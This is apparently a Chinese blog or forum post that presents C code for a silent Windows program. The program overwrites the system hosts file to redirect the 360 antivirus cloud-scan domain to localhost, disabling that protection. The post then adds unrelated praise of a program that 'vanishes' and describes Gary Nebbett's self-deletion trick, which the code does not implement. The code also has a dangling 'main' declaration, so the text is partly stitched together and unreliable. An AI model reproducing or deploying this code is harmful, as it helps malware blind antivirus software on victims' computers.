不多说,上代码。
//By:洪流 #pragma comment(linker, "/OPT:NOWIN98") #pragma comment(linker, "/align:0x200") #pragma comment(linker, "/subsystem:windows") #include <windows.h> #include <stdio.h> #pragma comment(lib,"MSVCRT.lib") #pragma comment(linker,"/ENTRY:Torrent /FILEALIGN:0x200 /MERGE:.data=.text /MERGE:.rdata=.text CTION:.text,EWR /IGNORE:4078") int AntiYunScan() { char host[MAX_PATH]; GetSystemDirectory(host,MAX_PATH); //得到host目录,免疫杀毒软件 strcat(host,"\\drivers\\etc\\hosts"); SetFileAttributes(host,FILE_ATTRIBUTE_NORMAL); FILE *file; file=fopen(host,"w");//以写入的方式打开文件,"w"--write char mianyi[MAX_PATH]= "127.0.0.1 localhost\r\n" "127.0.0.1 qup.f.360.cn\r\n"; fputs(mianyi,file); fclose(file);//关闭文件 return 0; } void Torrent() { AntiYunScan(); ExitProcess(0); } #include "windows.h" int main(int argc, char *argv[]) 试试编译它,运行。怎么样?从你的眼皮底下消失了吧?是不是很神奇? Gary Nebbett 钻了系统的一个漏洞,他的程序是关闭了 exe 文件的 IMAGE(硬编码为4),然后用 UnmapViewOfFile 解除了 exe 文件在内存中的映象,接着通过堆栈传递当前程序的 Handle 给 DeleteFile() ,实现了程序的自删除。 |